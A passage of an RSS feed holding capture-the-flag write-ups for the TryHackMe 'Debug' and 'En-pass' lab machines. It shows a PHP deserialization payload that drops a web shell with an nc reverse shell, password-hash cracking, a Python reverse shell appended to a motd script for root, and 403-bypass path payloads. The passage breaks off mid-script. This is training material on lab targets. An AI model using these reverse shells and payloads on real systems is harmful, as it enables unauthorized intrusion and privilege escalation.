</p><p>Let’s first create the following PHP code:
</p>
<div class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><pre><span></span><span class="x">┌──(kali㉿kali)-[/data/Debug/files]</span>
<span class="x">└─$ cat shell.php</span>
<span class="cp">&lt;?php</span>
<span class="k">class</span> <span class="nc">FormSubmit</span> <span class="p">{</span>
  <span class="k">public</span> <span class="nv">$form_file</span> <span class="o">=</span> <span class="s1">'shell.php'</span><span class="p">;</span>
  <span class="k">public</span> <span class="nv">$message</span> <span class="o">=</span> <span class="s1">'&lt;?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.8.50.72 4444 &gt;/tmp/f");&nbsp;?&gt;'</span><span class="p">;</span>
<span class="p">}</span>
<span class="nv">$oForm</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">FormSubmit</span><span class="p">;</span>
<span class="k">echo</span> <span class="nb">urlencode</span><span class="p">(</span><span class="nb">serialize</span><span class="p">(</span><span class="nv">$oForm</span><span class="p">));</span>
<span class="cp">?&gt;</span>
</pre></div>
<p>Now, let’s pass the resulting payload to the <code>debug</code> variable of the <code>index.php</code> page. It will create a <code>shell.php</code> file on the server, with the content we put in the <code>$message</code> variable.
</p>
<pre>┌──(kali㉿kali)-[/data/Debug/files]
└─$ curl -s http://10.10.196.165/index.php?debug=`php shell.php`</pre>
<p>Now, start a listener (<code>nc -nlvp 4444</code>) and browse <code>shell.php</code>:
</p>
<pre>┌──(kali㉿kali)-[/data/Debug/files]
└─$ curl -s http://10.10.196.165/shell.php</pre>
<div class="mw-heading mw-heading2"><h2 id="James_password">James password</h2></div>
<p>We now have a reverse shell. We can’t access <code>james</code>’ home folder to get the user flag. But analyzing the files in the web directory shows a <code>.htpasswd</code> file, with a hash, which may be <code>james</code>’ password.
</p>
<pre>www-data@osboxes:/var/www/html$ cat .htpasswd
cat .htpasswd
james:$apr1$zPZMix2A$d8fBXH0em33bfI9UTt9Nq1</pre>
<p>Let’s crack the hash:
</p>
<pre>┌──(kali㉿kali)-[/data/Debug/files]
└─$ /data/src/john/run/john james.hash --wordlist=/usr/share/wordlists/rockyou.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jamaica          (james)
1g 0:00:00:00 DONE (2021-05-20 14:58) 50.00g/s 38400p/s 38400c/s 38400C/s evelyn..james1
Use the "--show" option to display all of the cracked passwords reliably
Session completed</pre>
<div class="mw-heading mw-heading2"><h2 id="User_flag_2">User flag</h2></div>
<p>We can now connect as <code>james</code> via SSH directly, with the password <code>jamaica</code>. Let’s get the user flag
</p>
<pre>james@osboxes:~$ cat user.txt
7e37c84a66cc40b1c6bf700d08d28c20</pre>
<p>User flag: <code>7e37c84a66cc40b1c6bf700d08d28c20</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="Root_flag">Root flag</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Message_from_root">Message from root</h2></div>
<p>It seems that <code>root</code> has left a message to <code>james</code>:
</p>
<pre>james@osboxes:~$ cat Note-To-James.txt 
Dear James,

As you may already know, we are soon planning to submit this machine to THM's CyberSecurity Platform! Crazy... Isn't it? 

But there's still one thing I'd like you to do, before the submission.

Could you please make our ssh welcome message a bit more pretty... you know... something beautiful :D

I gave you access to modify all these files&nbsp;:) 

Oh and one last thing... You gotta hurry up! We don't have much time left until the submission!

Best Regards,

root</pre>
<div class="mw-heading mw-heading2"><h2 id="The_motd_service">The motd service</h2></div>
<p>There are several ways to make this banner. Let’s have a look at files we can modify in <code>/etc/</code>:
</p>
<pre>james@osboxes:~$ find /etc -type f -writable -exec ls -l {} + 2&gt;/dev/null
-rwxrwxr-x 1 root james 1220 Mar 10 18:32 /etc/update-motd.d/00-header
-rwxrwxr-x 1 root james    0 Mar 10 18:38 /etc/update-motd.d/00-header.save
-rwxrwxr-x 1 root james 1157 Jun 14  2016 /etc/update-motd.d/10-help-text
-rwxrwxr-x 1 root james   97 Dec  7  2018 /etc/update-motd.d/90-updates-available
-rwxrwxr-x 1 root james  299 Jul 22  2016 /etc/update-motd.d/91-release-upgrade
-rwxrwxr-x 1 root james  142 Dec  7  2018 /etc/update-motd.d/98-fsck-at-reboot
-rwxrwxr-x 1 root james  144 Dec  7  2018 /etc/update-motd.d/98-reboot-required
-rwxrwxr-x 1 root james  604 Nov  5  2017 /etc/update-motd.d/99-esm</pre>
<p>The motd service (Message of the Day) is used to display messages when a user connects, and will be run by <code>root</code>. As we have write access, we can add a reverse shell command:
</p>
<pre>james@osboxes:~$ cat &gt;&gt; /etc/update-motd.d/00-header &lt;&lt; EOF
&gt; /usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.50.72",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
&gt; EOF</pre>
<div class="mw-heading mw-heading2"><h2 id="Reverse_shell_and_root_flag">Reverse shell and root flag</h2></div>
<p>Now, start a listener (<code>nc -nlvp 4444</code>), disconnect from the SSH session and reconnect. A root shell is spawned to the listener window.
</p>
<pre>┌──(kali㉿kali)-[/data/Debug/files]
└─$ nc -nlvp 4444 
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.196.165] 59084
bash: cannot set terminal process group (1373): Inappropriate ioctl for device
bash: no job control in this shell
root@osboxes:/# cat /root/root.txt
cat /root/root.txt
3c8c3d0fe758c320d158e32f68fabf4b</pre>
<p>Root flag: <code>3c8c3d0fe758c320d158e32f68fabf4b</code>
</p>
<!-- 
NewPP limit report
Cached time: 20260416101059
Cache expiry: 86400
Reduced expiry: false
Complications: [show‐toc]
CPU time usage: 0.038 seconds
Real time usage: 0.679 seconds
Preprocessor visited node count: 97/1000000
Revision size: 10383/2097152 bytes
Post‐expand include size: 0/2097152 bytes
Template argument size: 0/2097152 bytes
Highest expansion depth: 2/100
Expensive parser function count: 2/100
Unstrip recursion depth: 0/20
Unstrip post‐expand size: 12791/5000000 bytes
-->
<!--
Transclusion expansion time report (%,ms,calls,template)
100.00%    0.000      1 -total
-->

<!-- Saved in parser cache with key ald1210912434520:pcache:7005:|#|:idhash:canonical and timestamp 20260416101059 and revision id 38732. Rendering was triggered because: page_view
 -->
</div>]]></description>
        </item>
        <item>
            <title>TryHackMe > En-pass</title>
            <link>https://www.aldeid.com/wiki/TryHackMe-En-pass</link>
            <comments>https://www.aldeid.com/wiki/Talk:TryHackMe-En-pass</comments>
            <pubDate>Sun, 16 May 2021 21:07:00 +0000</pubDate>
            <guid isPermaLink="true">https://www.aldeid.com/wiki/TryHackMe-En-pass</guid>
            <description><![CDATA[<p><img src="https://www.aldeid.com/wiki/Special:FilePath/Icon-TryHackMe-En-pass.png"></p><div class="mw-content-ltr mw-parser-output" lang="en" dir="ltr"><p>Get what you can’t.
</p><p>Think-out-of-the-box
</p>
<div id="toc" class="toc" role="navigation" aria-labelledby="mw-toc-heading"><input type="checkbox" role="button" id="toctogglecheckbox" class="toctogglecheckbox" style="display:none"><div class="toctitle" lang="en" dir="ltr"><h2 id="mw-toc-heading">Contents</h2><span class="toctogglespan"><label class="toctogglelabel" for="toctogglecheckbox"></label></span></div>
<ul>
<li class="toclevel-1 tocsection-1"><a href="#Name_The_Path."><span class="tocnumber">1</span> <span class="toctext">Name The Path.</span></a>
<ul>
<li class="toclevel-2 tocsection-2"><a href="#Enumeration_(1st_level)"><span class="tocnumber">1.1</span> <span class="toctext">Enumeration (1st level)</span></a></li>
<li class="toclevel-2 tocsection-3"><a href="#The_zip_directory"><span class="tocnumber">1.2</span> <span class="toctext">The zip directory</span></a></li>
<li class="toclevel-2 tocsection-4"><a href="#The_web_directory"><span class="tocnumber">1.3</span> <span class="toctext">The web directory</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-5"><a href="#What_is_the_user_flag?"><span class="tocnumber">2</span> <span class="toctext">What is the user flag?</span></a>
<ul>
<li class="toclevel-2 tocsection-6"><a href="#SSH_private_key"><span class="tocnumber">2.1</span> <span class="toctext">SSH private key</span></a></li>
<li class="toclevel-2 tocsection-7"><a href="#The_reg.php_page"><span class="tocnumber">2.2</span> <span class="toctext">The reg.php page</span></a></li>
<li class="toclevel-2 tocsection-8"><a href="#403_Fuzzing"><span class="tocnumber">2.3</span> <span class="toctext">403 Fuzzing</span></a></li>
<li class="toclevel-2 tocsection-9"><a href="#SSH_Connection"><span class="tocnumber">2.4</span> <span class="toctext">SSH Connection</span></a></li>
</ul>
</li>
<li class="toclevel-1 tocsection-10"><a href="#What_is_the_root_flag?"><span class="tocnumber">3</span> <span class="toctext">What is the root flag?</span></a>
<ul>
<li class="toclevel-2 tocsection-11"><a href="#Cronjob"><span class="tocnumber">3.1</span> <span class="toctext">Cronjob</span></a></li>
<li class="toclevel-2 tocsection-12"><a href="#The_script"><span class="tocnumber">3.2</span> <span class="toctext">The script</span></a></li>
<li class="toclevel-2 tocsection-13"><a href="#Exploit"><span class="tocnumber">3.3</span> <span class="toctext">Exploit</span></a></li>
<li class="toclevel-2 tocsection-14"><a href="#Root_shell"><span class="tocnumber">3.4</span> <span class="toctext">Root shell</span></a></li>
</ul>
</li>
</ul>
</div>

<div class="mw-heading mw-heading1"><h1 id="Name_The_Path.">Name The Path.</h1></div>
<p>Nmap detects 2 open ports:
</p>
<pre>PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:bf:6b:1e:93:71:7c:99:04:59:d3:8d:81:04:af:46 (RSA)
|   256 40:fd:0c:fc:0b:a8:f5:2d:b1:2e:34:81:e5:c7:a5:91 (ECDSA)
|_  256 7b:39:97:f0:6c:8a:ba:38:5f:48:7b:cc:da:72:a8:44 (ED25519)
8001/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: En-Pass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre>
<div class="mw-heading mw-heading2"><h2 id="Enumeration_(1st_level)"><span id="Enumeration_.281st_level.29"></span>Enumeration (1st level)</h2></div>
<p>A first enumeration of the web server will reveal several resources:
</p>
<pre>┌──(kali㉿kali)-[/data/En-pass/files]
└─$ gobuster dir -u http://10.10.67.150:8001/ -x php,txt,old,bak,zip,tar -w /usr/share/wordlists/dirb/common.txt

[REDACTED]

/403.php              (Status: 403) [Size: 1123]
/index.html           (Status: 200) [Size: 2563]
/reg.php              (Status: 200) [Size: 2417]
/server-status        (Status: 403) [Size: 279] 
/web                  (Status: 301) [Size: 317] [--&gt; http://10.10.67.150:8001/web/]
/zip                  (Status: 301) [Size: 317] [--&gt; http://10.10.67.150:8001/zip/]
                                                                                   
===============================================================
2021/05/12 16:38:07 Finished
===============================================================</pre>
<div class="mw-heading mw-heading2"><h2 id="The_zip_directory">The zip directory</h2></div>
<p>This directory is a rabbit hole. You’ll get several zip archives that all contain the same useless information: a file containing the string <code>sadman</code>. I initially thought it could be a username, but it doesn’t lead anywhere.
</p>
<div class="mw-heading mw-heading2"><h2 id="The_web_directory">The web directory</h2></div>
<p>Enumerating the <code>/web</code> directory reveals a subdirectory:
</p>
<pre>┌──(kali㉿kali)-[/data/En-pass/files]
└─$ gobuster dir -u http://10.10.67.150:8001/web/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.67.150:8001/web/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/05/12 15:40:56 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/resources            (Status: 301) [Size: 327] [--&gt; http://10.10.67.150:8001/web/resources/]
                                                                                             
===============================================================
2021/05/12 15:42:17 Finished
===============================================================</pre>
<p>Continuing with enumerations of the subdirectories leads to <a target="_blank" rel="nofollow noreferrer noopener" class="external free" href="http://10.10.67.150:8001/web/resources/infoseek/configure/key">http://10.10.67.150:8001/web/resources/infoseek/configure/key</a>:
</p>
<pre>┌──(kali㉿kali)-[/data/En-pass/files]
└─$ gobuster dir -u http://10.10.67.150:8001/web/resources/infoseek/configure/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.67.150:8001/web/resources/infoseek/configure/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/05/12 15:56:06 Starting gobuster in directory enumeration mode
===============================================================
/key                  (Status: 200) [Size: 1766]
Progress: 2119 / 220561 (0.96%)                ^C
[!] Keyboard interrupt detected, terminating.
                                                
===============================================================
2021/05/12 15:56:38 Finished
===============================================================</pre>
<p>Answer: <code>/web/resources/infoseek/configure/key</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="What_is_the_user_flag?"><span id="What_is_the_user_flag.3F"></span>What is the user flag?</h1></div>
<p><i>Hint: The path you get will forbid to see but you can bypass it.</i>
</p>
<div class="mw-heading mw-heading2"><h2 id="SSH_private_key">SSH private key</h2></div>
<p>The file is a SSH private key.
</p>
<pre>$ chmod 600 key
$ ssh -i key sadman@10.10.67.150</pre>
<p>It’s password protected, and John fails to crack the password.
</p>
<pre>┌──(kali㉿kali)-[/data/En-pass/files]
└─$ /data/src/john/run/ssh2john.py key &gt; ssh.hash                                                             130 ⨯
zsh: no such file or directory: /data/src/john/run/ssh2john.py
                                                                                                                    
┌──(kali㉿kali)-[/data/En-pass/files]
└─$ /data/src/john/run/ssh2john.py key &gt; ssh.hash                                                             127 ⨯
                                                                                                                    
┌──(kali㉿kali)-[/data/En-pass/files]
└─$ /data/src/john/run/john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 DONE (2021-05-12 16:02) 0g/s 2716Kp/s 2716Kc/s 2716KC/sa6_123..*7¡Vamos!</pre>
<div class="mw-heading mw-heading2"><h2 id="The_reg.php_page">The reg.php page</h2></div>
<p>Let’s continue with the other resources found previously. The <code>/reg.php</code> page is a challenge, and the PHP source code is actually revealed:
</p>
<div class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><pre><span></span><span class="x">┌──(kali㉿kali)-[/data/En-pass/files]</span>
<span class="x">└─$ curl -s http://10.10.67.150:8001/reg.php | tr -s '\n'                                                       1 ⨯</span>

<span class="x">&lt;!DOCTYPE html&gt;</span>
<span class="x">&lt;html&gt;</span>
<span class="x">&lt;head&gt;</span>
<span class="x">&lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;</span>
<span class="x">&lt;title&gt;En-Pass&lt;/title&gt;</span>

<span class="x">[REDACTED]</span>

<span class="x">&lt;/head&gt;</span>
<span class="x">&lt;body&gt;</span>
<span class="x">&lt;img src="sau.jpg" alt="sau"&gt;</span>
<span class="x">&lt;h1&gt;EN-PASS&lt;/h1&gt;</span>
<span class="x">&lt;div  id="container"&gt;</span>
<span class="x">  &lt;form method="POST" action="/reg.php"&gt;</span>
<span class="x">   </span>
<span class="x">    &lt;input type="text" id="title" name="title" placeholder="Input"&gt;</span>
<span class="x">   </span>
<span class="x">    &lt;input type="submit" value="Submit"&gt;</span>
<span class="x">&lt;h4 style='color:rgb(83, 21, 165);'&gt; </span><span class="cp">&lt;?php</span>
     
<span class="k">if</span><span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s2">"REQUEST_METHOD"</span><span class="p">]</span> <span class="o">==</span> <span class="s2">"POST"</span><span class="p">){</span>
   <span class="nv">$title</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s2">"title"</span><span class="p">];</span>
   <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/[a-zA-Z0-9]/i'</span> <span class="p">,</span> <span class="nv">$title</span> <span class="p">)){</span>
          
          <span class="nv">$val</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">","</span><span class="p">,</span><span class="nv">$title</span><span class="p">);</span>
          <span class="nv">$sum</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
          
          <span class="k">for</span><span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span> <span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="mi">9</span><span class="p">;</span> <span class="nv">$i</span><span class="o">++</span><span class="p">){</span>
                <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="nb">strlen</span><span class="p">(</span><span class="nv">$val</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="k">and</span> <span class="p">(</span><span class="nb">strlen</span><span class="p">(</span><span class="nv">$val</span><span class="p">[</span><span class="mi">8</span><span class="p">])</span> <span class="o">==</span>  <span class="mi">3</span> <span class="p">))</span>  <span class="p">{</span>
                    <span class="k">if</span> <span class="p">(</span> <span class="nv">$val</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">!=</span><span class="nv">$val</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span>  <span class="k">and</span> <span class="nv">$val</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">!=</span><span class="nv">$val</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span> <span class="p">)</span> 
            
                        <span class="nv">$sum</span> <span class="o">=</span> <span class="nv">$sum</span><span class="o">+</span> <span class="p">(</span><span class="nx">bool</span><span class="p">)</span><span class="nv">$val</span><span class="p">[</span><span class="nv">$i</span><span class="p">]</span><span class="o">.</span><span class="s2">"&lt;br&gt;"</span><span class="p">;</span> 
                <span class="p">}</span>
          
          
          <span class="p">}</span>
          <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="nv">$sum</span><span class="p">)</span> <span class="o">==</span> <span class="mi">9</span> <span class="p">){</span>
            
              <span class="k">echo</span> <span class="nv">$result</span><span class="p">;</span><span class="c1">//do not worry you'll get what you need.</span>
              <span class="k">echo</span> <span class="s2">" Congo You Got It&nbsp;!! Nice "</span><span class="p">;</span>
        
            
            <span class="p">}</span>
            
                    <span class="k">else</span><span class="p">{</span>
                      <span class="k">echo</span> <span class="s2">"  Try Try!!"</span><span class="p">;</span>
                
                    <span class="p">}</span>
          <span class="p">}</span>
        
          <span class="k">else</span><span class="p">{</span>
            <span class="k">echo</span> <span class="s2">"  Try Again!! "</span><span class="p">;</span>
      
          <span class="p">}</span>     
 
  <span class="p">}</span>
 
<span class="cp">?&gt;</span>
<span class="x">&lt;/h4&gt;</span>
<span class="x">  &lt;/form&gt;</span>
<span class="x">&lt;/div&gt;</span>
<span class="x">&lt;/body&gt;</span>
<span class="x">&lt;/html&gt;</span>
</pre></div>
<p>There are a couple of tests to pass. After debugging in a sandbox, I eventually found a valid string: <code>##,??,??,##,??,#,??,#,###</code>
</p>
<pre>┌──(kali㉿kali)-[/data/En-pass]
└─$ curl -s -XPOST -d "title=##,??,??,##,??,#,??,#,###" http://10.10.67.150:8001/reg.php | grep Nice
              echo " Congo You Got It&nbsp;!! Nice ";
&lt;/h4&gt;&lt;h3 style='position: absolute;left:40%;top:46%;color:white;'&gt;Nice. Password&nbsp;: cimihan_are_you_here?  &lt;/h3&gt;</pre>
<div class="mw-heading mw-heading2"><h2 id="403_Fuzzing">403 Fuzzing</h2></div>
<p>At this stage, we have the password for the SSH private key, but no valid user. As the hint says <code>The path you get will forbid to see but you can bypass it</code>, I thought of the last resource we have: the <code>403.php</code> page. After some searches on the Internet to bypass 403 pages, you’ll eventually find this <a target="_blank" rel="nofollow noreferrer noopener" class="external text" href="https://github.com/intrudir/403fuzzer">fuzzing tool</a>.
</p><p>Open BurpSuite and run 403fuzzer:
</p>
<pre>┌──(kali㉿kali)-[/data/src/403fuzzer]
└─$ python3 403fuzzer.py -u http://10.10.67.150:8001/403.php -hc 403,404 --proxy http://localhost:8080

Sending header payloads...

Proxy flag was detected. Skipping trailing dot payload...

Sending URL payloads...
Response Code: 200  Length: 2563  Payload: /#403.php
Response Code: 200  Length: 2563  Payload: /#?403.php
Response Code: 400  Length: 306 Payload: /%2e%2e/403.php
Response Code: 200  Length: 2563  Payload: /#403.php
Response Code: 400  Length: 306 Payload: /%2e%2e/403.php
Response Code: 200  Length: 2563  Payload: /
Response Code: 200  Length: 2563  Payload: /
Response Code: 200  Length: 2563  Payload: /
Response Code: 200  Length: 2563  Payload: /403.php%3b/%2e.
Response Code: 200  Length: 2563  Payload: /403.php%3b/..
Response Code: 200  Length: 2563  Payload: /403.php/%2e%2e
Response Code: 200  Length: 2563  Payload: /403.php/%2e%2e/
Response Code: 200  Length: 2563  Payload: /403.php/..
Response Code: 200  Length: 2563  Payload: /403.php/../
Response Code: 200  Length: 2563  Payload: /403.php/../../
Response Code: 200  Length: 2563  Payload: /403.php/../../../
Response Code: 200  Length: 2563  Payload: /403.php/../../..//
Response Code: 200  Length: 2563  Payload: /403.php/../..//
Response Code: 200  Length: 2563  Payload: /403.php/../..//../
Response Code: 200  Length: 2563  Payload: /403.php/.././../
Response Code: 200  Length: 2563  Payload: /403.php/../.;/../
Response Code: 200  Length: 2563  Payload: /403.php/..//
Response Code: 200  Length: 2563  Payload: /403.php/..//../
Response Code: 200  Length: 2563  Payload: /403.php/..//../../
Response Code: 200  Length: 2563  Payload: /403.php/../;/../
Response Code: 200  Length: 917 Payload: /403.php/..;/ &lt;------------------ interesting
Response Code: 200  Length: 917 Payload: /403.php/..;//../
Response Code: 200  Length: 2563  Payload: /403.php//../../
Response Code: 200  Length: 2563  Payload: /403.php;%2f%2f/../
Response Code: 200  Length: 2563  Payload: /403.php;%2f..%2f/../
Response Code: 200  Length: 2563  Payload: /403.php;/%2e%2e
Response Code: 200  Length: 2563  Payload: /403.php;/%2e%2e/
Response Code: 200  Length: 2563  Payload: /403.php;/%2e.
Response Code: 200  Length: 2563  Payload: /403.php;/.%2e
Response Code: 200  Length: 2563  Payload: /403.php;/..
Response Code: 200  Length: 2563  Payload: /403.php;/../
Response Code: 200  Length: 2563  Payload: /403.php;/../../
Response Code: 200  Length: 2563  Payload: /403.php;/../..//
Response Code: 200  Length: 2563  Payload: /403.php;/.././../
Response Code: 200  Length: 2563  Payload: /403.php;/../.;/../
Response Code: 200  Length: 2563  Payload: /403.php;/..//
Response Code: 400  Length: 306 Payload: /403.php;/..//%2e%2e/
Response Code: 200  Length: 2563  Payload: /403.php;/..//../
Response Code: 200  Length: 2563  Payload: /403.php;/..///
Response Code: 200  Length: 2563  Payload: /403.php;/../;/../
Response Code: 200  Length: 2563  Payload: /403.php;/..
Response Code: 200  Length: 2563  Payload: /403.php;//../../
Response Code: 400  Length: 306 Payload: /;/..//%2e%2e/403.php
Response Code: 200  Length: 2563  Payload: /
Response Code: 200  Length: 2563  Payload: /#403.php
Response Code: 200  Length: 2563  Payload: /
Response Code: 200  Length: 2563  Payload: /
Response Code: 200  Length: 2563  Payload: /
Response Code: 200  Length: 2563  Payload: /
Response code: 200   Response length: 0           Sent OPTIONS method. 

Response length was 0 so probably NOT worth checking out....

Response Headers: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 0</pre>
<p>Cycling in BurpSuite through the requests with a 200 HTTP code, we eventually find the good one:
</p>
<pre>GET /403.php/..;/ HTTP/1.1
Host: 10.10.67.150:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
</pre>
<p>Which generated the below response:
</p>
<pre>HTTP/1.1 200 OK
Date: Wed, 12 May 2021 17:07:56 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 917
Connection: close
Content-Type: text/html; charset=UTF-8

&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
    &lt;title&gt;En-Pass&lt;/title&gt;

[REDACTED]

&lt;h3&gt;Glad to see you here.Congo, you bypassed it. 'imsau' is waiting for you somewhere.&lt;/h3&gt;
&lt;/body&gt;
&lt;/html&gt;   </pre>
<div class="mw-heading mw-heading2"><h2 id="SSH_Connection">SSH Connection</h2></div>
<p>We now have all information to connect to the SSH service:
</p>
<ul><li>Username: <code>imsau</code></li>
<li>Passphrase: <code>cimihan_are_you_here?</code></li></ul>
<pre>┌──(kali㉿kali)-[/data/En-pass/files]
└─$ ssh -i key imsau@10.10.67.150
Enter passphrase for key 'key': cimihan_are_you_here?
$ cat user.txt  
1c5ccb6ce6f3561e302e0e516c633da9</pre>
<p>User flag: <code>1c5ccb6ce6f3561e302e0e516c633da9</code>
</p>
<div class="mw-heading mw-heading1"><h1 id="What_is_the_root_flag?"><span id="What_is_the_root_flag.3F"></span>What is the root flag?</h1></div>
<div class="mw-heading mw-heading2"><h2 id="Cronjob">Cronjob</h2></div>
<p>Running <code>linpeas.sh</code> won’t really be helpful. Running <code>pspy64</code> will reveal a cronjob run by root every minute:
</p>
<pre>2021/05/12 19:02:01 CMD: UID=0    PID=22837  | /bin/sh -c cd /opt/scripts &amp;&amp; sudo /usr/bin/python /opt/scripts/file.py &amp;&amp; sudo rm -f /tmp/file.yml 
2021/05/12 19:02:01 CMD: UID=0    PID=22836  | /bin/sh -c cd /tmp &amp;&amp; sudo chown root:root /tmp/file.yml 
2021/05/12 19:02:01 CMD: UID=0    PID=22835  | /bin/sh -c cd /opt/scripts &amp;&amp; sudo /usr/bin/python /opt/scripts/file.py &amp;&amp; sudo rm -f /tmp/file.yml 
2021/05/12 19:02:01 CMD: UID=0    PID=22834  | /bin/sh -c cd /tmp &amp;&amp; sudo chown root:root /tmp/file.yml 
2021/05/12 19:02:01 CMD: UID=0    PID=22833  | /usr/sbin/CRON -f 
2021/05/12 19:02:01 CMD: UID=0    PID=22832  | /usr/sbin/CRON -f 
2021/05/12 19:02:01 CMD: UID=0    PID=22838  | sudo chown root:root /tmp/file.yml 
2021/05/12 19:02:01 CMD: UID=0    PID=22839  | sudo /usr/bin/python /opt/scripts/file.py 
2021/05/12 19:02:05 CMD: UID=0    PID=22840  | ps -e -o pid,ppid,state,command 
2021/05/12 19:03:01 CMD: UID=0    PID=22846  | /bin/sh -c cd /opt/scripts &amp;&amp; sudo /usr/bin/python /opt/scripts/file.py &amp;&amp; sudo rm -f /tmp/file.yml 
2021/05/12 19:03:01 CMD: UID=0    PID=22845  | /bin/sh -c cd /tmp &amp;&amp; sudo chown root:root /tmp/file.yml 
2021/05/12 19:03:01 CMD: UID=0    PID=22844  | /bin/sh -c cd /opt/scripts &amp;&amp; sudo /usr/bin/python /opt/scripts/file.py &amp;&amp; sudo rm -f /tmp/file.yml 
2021/05/12 19:03:01 CMD: UID=0    PID=22843  | /bin/sh -c cd /tmp &amp;&amp; sudo chown root:root /tmp/file.yml 
2021/05/12 19:03:01 CMD: UID=0    PID=22842  | /usr/sbin/CRON -f 
2021/05/12 19:03:01 CMD: UID=0    PID=22841  | /usr/sbin/CRON -f 
2021/05/12 19:03:01 CMD: UID=0    PID=22847  | sudo chown root:root /tmp/file.yml 
2021/05/12 19:03:01 CMD: UID=0    PID=22848  | sudo /usr/bin/python /opt/scripts/file.py 
2021/05/12 19:03:07 CMD: UID=0    PID=22849  | ps -e -o pid,ppid,state,command </pre>
<div class="mw-heading mw-heading2"><h2 id="The_script">The script</h2></div>
<p>The cron job runs the following python script with <code>sudo</code> and removes the <code>/tmp/file.yml</code> file.
</p>
<div class="mw-highlight mw-highlight-lang-python mw-content-ltr" dir="ltr"><pre><span></span><span class="n">imsau</span><span class="nd">@enpass</span><span class="p">:</span><span class="o">/</span><span class="n">opt</span><span class="o">/</span><span class="n">scripts</span><span class="err">$</span> <span class="n">cat</span> <span class="n">file</span><span class="o">.</span><span class="n">py</span> 
<span class="c1">#!/usr/bin/python</span>
<span class="kn">import</span><span class="w"> </span><span class="nn">yaml</span>


<span class="k">class</span><span class="w"> </span><span class="nc">Execute</span><span class="p">():</span>
  <span class="k">def</span><span class="w"> </span><span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="n">file_name</span> <span class="o">=</span><span class="s2">"/tmp/file.yml"</span><span class="p">):</span>
